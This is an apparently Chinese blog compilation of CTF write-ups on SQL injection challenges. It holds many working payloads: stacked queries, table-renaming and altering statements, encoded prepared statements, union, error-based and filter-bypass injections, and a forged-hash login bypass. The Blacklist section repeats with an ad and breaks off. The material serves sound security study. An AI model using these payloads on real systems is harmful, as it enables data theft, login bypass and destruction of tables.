CTF Web SQL注入专项整理(持续更新中)_ctf sql注入

1' order by 2#
image.png
正常回显
1' order by 3#image.png
回显报错,可以看出只有两个字段
查看所有数据库
1'; show databases;
image.png
查看所有数据表
1'; show tables;
image.png
爆words数据表的字段
1';show columns from words;#image.png
爆1919810931114514数据表字段(注意数据表为数字的时候需要用反引号括起来)
1';show columns from 1919810931114514;#
image.png
可以看到这两个表words表有两个字段,而另一个只有一个字段
后台SQL查询语句应该是:
select * from words where id=
所以说只能先查询id字段,然而另一个表只有一个flag字段是肯定爆不了flag的,并且类型为varchar字符串类型,而恰巧words数据表里面的data也是varchar类型,因此从这里就可以得到做题思路,通过rename函数进行改表,把1919810931114514改为words,增加新字段id,将flag改为data,将刚开始那个words表改为其他任意表。
构造payload:
1';rename table words to BaiMao;rename table 1919810931114514 to words;alter table words add id int unsigned not NULL auto_increment primary key;alter table words change flag data varchar(100);#

rename修改表名
alter修改已知的列
add增加
int整数类型
unsigned无符号类型
not null- 指示某列不能存储 NULL 值。
primary key - NOT NULL 和 UNIQUE 的结合。指定主键,确保某列(或多个列的结合)有唯一标识,每个表有且只有一个主键。
auto_increment-自动赋值,默认从1开始。

成功回显flag:
image.png
注意没有回显flag,就类似于你更新了个东西但是没刷新,重新在文本框里面输入1提交即可回显flag。

第二种解法 编码逃逸 绕过滤

由于select被过滤,考虑使用编码进行绕过
使用select查询就很简单了
构造payload
select *from where 1919810931114514`` (注意这里使用反引号把这个数字括起来,md编辑器打不上去)
*号查询数据表里面的全部内容,这就是爆出flag的原理
进行16进制编码加密
73656c656374202a2066726f6d20603139313938313039333131313435313460
最终payload:
1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

  • prepare…from…是预处理语句,会进行编码转换。
  • execute用来执行由SQLPrepare创建的SQL语句。
  • SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。
  • 0x就是把后面的编码格式转换成十六进制编码格式
  • 那么总体理解就是,使用SeT方法给变量a赋值,给a变量赋的值就是select查询1919810931114514表的所有内容语句编码后的值,execsql方法执行来自a变量的值,prepare…from方法将执行后的编码变换成字符串格式,execute方法调用并执行execsql方法。

参考:https://blog.csdn.net/qq_44657899/article/details/10323914

回显flag:
image.png

第三种解法 handler代替select

select命令被过滤了怎么办?我们还可以用handler命令进行查看,handler命令可以一行一行的显示数据表中的内容。
构造payload:
1'; handler 1919810931114514open asa; handler a read next;#

handler代替select,以一行一行显示内容
open打开表
as更改表的别名为a
read next读取数据文件内的数据次数

上传payload,回显flag:
image.png
原文链接:https://blog.csdn.net/m0_73734159/article/details/134049744?spm=1001.2014.3001.5501

数字型注入和堆叠查询手法原理

【例题】[SUCTF 2019]EasySQL 1

题目环境:
image.png

把你的旗子给我,我会告诉你旗子是不是对的。

判断注入类型
1'
回显结果
image.png

不是字符型SQL注入

1
回显结果
image.png

数字型SQL注入

查所有数据库,采用堆叠注入
1;show databases;
image.png
查看所有数据表
1;show tables;
image.png
尝试爆Flag数据表的字段
1;show columns from Flag;
image.png

回显错误

到这里,大佬们直接猜出了后端语句
select $_GET['query'] || flag from Flag
我直接好家伙,大佬果然是大佬
||就是SQL里面的逻辑或运算符

第一种解法 添加新列绕过逻辑或运算符:

***,1**
那么传到后端语句就是
select *,1 || flag from Flag
这里我问了下文心一言,看完我也理解了

这段SQL代码的含义是:从Flag表中选择所有的列,以及由列flag的值与数字1进行连接生成的新列。
具体来说:
select *:选择所有的列。
1 || flag:这是SQL中的字符串连接操作。它将数字1与flag列的值进行连接。对于每一行,都会生成一个新的字符串,这个字符串是数字1后跟着flag列的值。如果flag列的值本身是一个字符串,那么这两个字符串将被连接起来。
from Flag:从Flag表中选择数据。
因此,这段代码的输出结果将包含Flag表的所有列,以及一个名为“1”的列,该列的值是flag列的值与数字1的连接。

大致意思,就是查看数据表Flag的所有列内容,然后添加了一个由列flag的值与数字1进行连接生成的新列,这个新的列名就叫1,那么猜测或者说就是flag被过滤,我们还能查到flag列的值,因为flag的值复制到了新的列1。
*,0
image.png
可以明显看到新的列名0和flag的值连接起来了
*,1
image.png
对吧,新列名为1
*,2
image.png
还是为1,所有还可以看出Flag数据表的列只能是两个

第二种解法 改逻辑或运算符为字符串连接符:

既然题目内置的是逻辑或运算符,那咱们直接把它改成字符串连接符不就好了嘛(滑稽)
使用set方法定义sql_mode参数设置,PIPES_AS_CONCAT字符串连接符select 1查询第一列
1;set sql_mode=PIPES_AS_CONCAT;select 1
回显结果:
image.png
可以明显看出解法1和解法2的回显结果有明显不同
原文链接:https://blog.csdn.net/m0_73734159/article/details/134142483?spm=1001.2014.3001.5501

字符型注入和联合查询手法原理(常见注入手法)

【例题】[极客大挑战 2019]LoveSQL 1

题目环境:
image.png

判断注入类型

是否为数字型注入

admin
1

回显结果
image.png

是否为字符型注入

admin
1'

回显结果
image.png

判断注入手法类型

使用堆叠注入
采用密码参数进行注入

爆数据库
1'; show database();#
回显结果
image.png

这里猜测注入语句某字段被过滤,或者是’;'被过滤导致不能堆叠注入

爆字段数
1';order by 4#
回显结果
image.png

报错
抛弃堆叠注入

步入正题

1' order by 4#
回显结果
image.png

成功,但是不存在第4列
同时验证了猜想不能使用堆叠注入

继续判断列数
1' order by 3#
image.png

可知列数只有3列

爆数据库
使用联合查询
1' union select 1,2,database()#
image.png
爆数据表
1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()#
回显结果
image.png

爆出两个表
开始爆数据表的字段
按照先后顺序把,先爆第一个

爆geekuser数据表的字段
1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='geekuser'#
回显结果
image.png

字段:id、username、password

爆geekuser数据表的所有内容
1' union select 1,database(),group_concat(id,username,password) from geekuser#
回显结果
image.png

无flag

转手数据表l0ve1ysq1
步骤和数据表geekuser一样,这里直接爆数据表l0ve1ysq1的flag值
1' union select 1,database(),group_concat(password) from l0ve1ysq1#
回显结果
image.png
image.png
得出flag:
flag{3c4b1ff9-6685-4dcb-853e-06093c1e4040}
原文链接:https://blog.csdn.net/m0_73734159/article/details/134185235?spm=1001.2014.3001.5501

双写绕过原理

【例题】[极客大挑战 2019]BabySQL 1

题目环境:
image.png

作者已经描述进行了严格的过滤
做好心理准备进行迎接

判断注入类型

admin
1’

字符型注入
image.png
万能密码注入

admin
1’ or ‘1’='1

报错
image.png

已经是字符型注入了,所以的话只有or这里存在了过滤
联想到buuctf里面还没有碰到双写绕过的题目
所以这里斗胆试一下使用双写绕过

1' oorr '1'='1
成功
image.png
使用堆叠注入爆数据库
1';show database();
报错
image.png
抛弃堆叠注入
尝试联合注入

联合注入末尾需要使用#号键进行注释#号后面的命令,避免报错

这里值得提一下schema和schemata和常见命令的理解

SCHEMA在MySQL中是数据库,SCHEMATA表用来提供有关数据库的信息。
union select就是联合注入,联合查询的意思
from来自
information_schema是MySQL自带的数据库
group_concat将值连接起来
where来自那个数据库或数据表等等

爆列数(关键命令采用双写进行绕过)
1' oorrder bbyy 4#
image.png
1' oorrder bbyy 3#
image.png

可知列数只有3列

查位(关键命令采用双写进行绕过)
1' ununionion seselectlect 1,2,3#
image.png
爆数据库(关键命令采用双写进行绕过)
1' ununionion seselectlect 1,database(),3#
image.png
采用第三列进行注入
爆所有数据库(关键命令采用双写进行绕过)
1' ununionion seselectlect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata#
image.png

根据常识ctf数据库里面存在flag的可能更大,故选择ctf数据库

爆ctf数据库里面的数据表
1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='ctf'#

因为ctf在schema里面所有这里就是table_schema,schema里面的数据库ctf里面的数据表

得到Flag数据表
image.png
爆Flag数据表里面的字段
1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='Flag'#
得到flag字段
image.png
爆flag字段内容
1' ununionion seselectlect 1,2,group_concat(flag) frfromom ctf.Flag#

ctf.Flag意思就是ctf数据库里面的Flag数据表

image.png
得到flag:
flag{fbd18420-cab7-4d6e-8fb9-f8ea6febda61}
原文链接:https://blog.csdn.net/m0_73734159/article/details/134277587?spm=1001.2014.3001.5502

报错注入原理

【例题】非常经典的一道SQL报错注入题目[极客大挑战 2019]HardSQL 1(两种解法!)

题目环境:
image.png

没错,又是我,这群该死的黑客竟然如此厉害,所以我回去爆肝SQL注入,这次,再也没有人能拿到我的flag了
做了好多这个作者出的题了,看来又要上强度了

判断注入类型

username:admin
password:1
这里把参数password作为注入点

image.png
1'
image.png

单引号的字符型注入

万能密码注入
1' or '1'='1
image.png

万能密码注入被链接
猜测某些字符或者关键字被过滤

SQL注入字典查过滤字符
image.png
Intruder字典爆破
image.png
光标选中参数password的值1-Add选择爆破目标image.png
选用字典
image.png
Start attack开始爆破
image.png
OK
image.png
爆破结果:
image.png

741为过滤内容
可以看到很多字符=、–+、/**/和一些注入命令union、by、‘1’='1等被过滤

继续测试

admin
1’ or

image.png
image.png

可以看到被拦截了
通过刚才的字典爆破,可以知道1’和or是没有被过滤的
那么真相只有一个,卧槽,空格被过滤了,我直呼好家伙

刚开始本想尝试编码绕过空格,结果不行,这里猜测到了空格限制

空格限制

admin
1’(or)

image.png

like没有被过滤,使用like可以绕过=号,like <=> =

重新构造万能密码
1'or((1)like(1))#
image.png
image.png

可以看到绕过了空格限制
同时也登陆成功了
然后想到了之前做过很类似的一道题
SQL报错注入也用到了空格限制
(已经试了堆叠注入和联合注入都不行)
这里就索性试一下SQL报错注入

知识一、

SQL报错注入常用函数

两个基于XPAT(XML)的报错注入函数
函数updatexml() 是mysql对xml文档数据进行查询和修改的xpath函数
函数extractvalue() 是mysql对xml文档数据进行查询的xpath函数
注入原理:
(在使用语句时,如果XPath_string不符合该种类格式,就会出现格式错误,并且会以系统报错的形式提示出错误!)
(局限性查询字符串长度最大为32位,要突破此限制可使用right(),left(),substr()来截取字符串)

其它
函数floor() mysql中用来取整的函数
函数exp() 此函数返回e(自然对数的底)指数X的幂值的函数

首先使用updatexml()函数进行SQL报错注入
爆库
1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
image.png

得到库名geek

查表
1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#
image.png

得到数据表H4rDsq1

爆字段
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
image.png

得到三个字段:id、username、password

查字段内容
1'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))#
image.png

得到前一半flag值flag{389c9161-c2eb-403a-80

使用right()突破字符限制
1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))#
image.png

得到后一段flag值b-403a-8062-80f219ca1c30}

拼接得到最终flag:
flag{389c9161-c2eb-403a-8062-80f219ca1c30}

使用extractvalue()函数进行SQL报错注入

知识:^这个符号可以绕过or的限制
这两种函数大同小异,不再赘述
当然也可以不使用^来绕过or限制,单一的()绕过空格限制也可以
大家可以看下边进行对比学习

1'^extractvalue(1,concat(0x7e,(select(database()))))#
image.png
image.png
1'or(extractvalue(1,concat(0x7e,(select(database())))))#
image.png
image.png

好了大家已经明显看到了^和()绕过不同限制的区别
那么下面就给大家一直演示^绕过or限制了(上一个updatexml()函数使用的是()绕过空格限制)

1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))#
image.png
1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))#
image.png
1'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))#
image.png
使用right()突破字符限制
1'^extractvalue(1,right(concat(0x7e,(select(group_concat(password))from(H4rDsq1))),30))#
image.png
拼接得到最终flag:
flag{389c9161-c2eb-403a-8062-80f219ca1c30}
原文链接:https://blog.csdn.net/m0_73734159/article/details/134450773

md5与SQL之间的碰撞

【例题】BUUCTF [GXYCTF2019]BabySQli 1 详解!

题目环境
image.png
burp抓包

随便输入值

image.png
repeater放包
image.png

在注释那里发现某种编码

MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5

看着像是base编码格式
通过测试发现是套加密(二次加密)
首先使用base32对此编码进行解码

base32解码
image.png
c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==

两个等号base64编码无疑了

base64解码
image.png

得到一段SQL查询语句

select * from user where username = '$name'

通过对这段SQL语句的初步判断
可以得出此题的注入点是参数name

判断注入类型

1
123

image.png

1’
123

image.png

发生报错
可以得出此题的注入类型为字符型注入

尝试万能密码

1’ or ‘1’='1
123

image.png

猜测’or’关键字或’='字符被过滤

弱口令猜测

首先猜测用户名既有可能是admin
密码暂且还不知道

判断字段数

1’ union select 1,2#
123

image.png

1’ union select 1,2,3#
123

image.png

可知字段数是3

判断用户所在列

1’ union select ‘admin’,2,3#
123

image.png

1’ union select 1,‘admin’,3#
123

image.png

通过用户所在列测试,得出了存在用户admin,又得出了admin用户在第二列,也就是username字段那一列。

查看题目源码
image.png

在search.php源代码哪里发现关键代码

image.png

if($arr[1] == "admin"){
			if(md5($password) == $arr[2]){
				echo $flag;
			}
			else{
				die("wrong pass!");
			}
		}

发现参数password被md5加密
看着和之前做过的题很类似
大致就是传进去的值要进行md5值加密

换种方式猜测
username数据表里面的3个字段分别是flag、name、password。
猜测只有password字段位NULL
咱们给参数password传入的值是123
那么传进去后,后台就会把123进行md5值加密并存放到password字段当中
当我们使用查询语句的时候
我们pw参数的值会被md5值进行加密
然后再去与之前存入password中的md5值进行比较
如果相同就会输出flag

爆flag:

这里pw参数的值为123456
可以随便传
但是要对传入的那个值进行md5值加密
网上可以随便找一个在线md5加密平台

1’union select 1,‘admin’,‘e10adc3949ba59abbe56e057f20f883e’#
123456

image.png
得出flag:
flag{3c7be44e-df35-40a7-bd91-1b210bf75fcb}

handler命令用法

【例题】BUUCTF [GYCTF2020]Blacklist 1详解

题目环境
image.png
判断注入类型

1

image.png

1’

image.png

可知本题是字符型注入

查库

此题使用堆叠查询

1’;show databases;

image.png
查表

1’;show tables;

image.png

最后

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

img

img

img

img

img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!

如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!

由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!

1

image.png

1’

image.png

可知本题是字符型注入

查库

此题使用堆叠查询

1’;show databases;

image.png
查表

1’;show tables;

image.png

最后

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

[外链图片转存中…(img-Way9MBsn-1715842122642)]

[外链图片转存中…(img-z8oYddos-1715842122643)]

[外链图片转存中…(img-86rAZgSD-1715842122643)]

[外链图片转存中…(img-6xBXbuzw-1715842122643)]

[外链图片转存中…(img-7J19K632-1715842122643)]

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!

如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!

由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!

  • 3
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
CTFSQL注入是一种常见的攻击类型,通常是通过构造恶意输入来绕过应用程序的安全控制,从而访问或篡改应用程序的数据。 以下是一些SQL注入题目的解法: 1. 基于错误的注入:这种类型的注入通常涉及到将错误的输入发送到应用程序,然后观察应用程序返回的错误消息。通过分析错误消息,攻击者可以获得关于数据库的有用信息。例如,攻击者可以尝试通过发送 '和1=2' 的输入来触发一个错误消息。如果返回了一个错误消息,那么攻击者就会知道这个输入是有效的。 2. 基于时间的注入:这种类型的注入利用了数据库查询的延迟响应时间。攻击者可以在输入一些额外的SQL语句,这些语句会导致查询的执行时间变长。通过观察查询的响应时间,攻击者可以获得关于数据库的有用信息。 3. 盲注入:这种类型的注入通常是在攻击者无法看到应用程序返回的响应消息时使用的。攻击者可以尝试发送不同类型的输入来推断数据库的数据。例如,攻击者可以尝试使用布尔逻辑来确定某个字段是否存在数据。 4. 堆叠注入:这种类型的注入涉及到在单个输入多个SQL语句。攻击者可以利用这些语句来执行多个操作,例如创建新用户、修改密码等。 5. 直接注入:这种类型的注入涉及到直接在SQL查询插入恶意代码。攻击者可以利用这些代码来执行任意操作,例如删除数据库的数据、修改数据库的数据等。 以上是一些常见的SQL注入题目解法,但是在实际的CTF比赛,攻击者需要具备较强的技术水平和经验才能成功地解决这些问题。因此,对于CTF选手而言,不断学习和实践是非常重要的。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值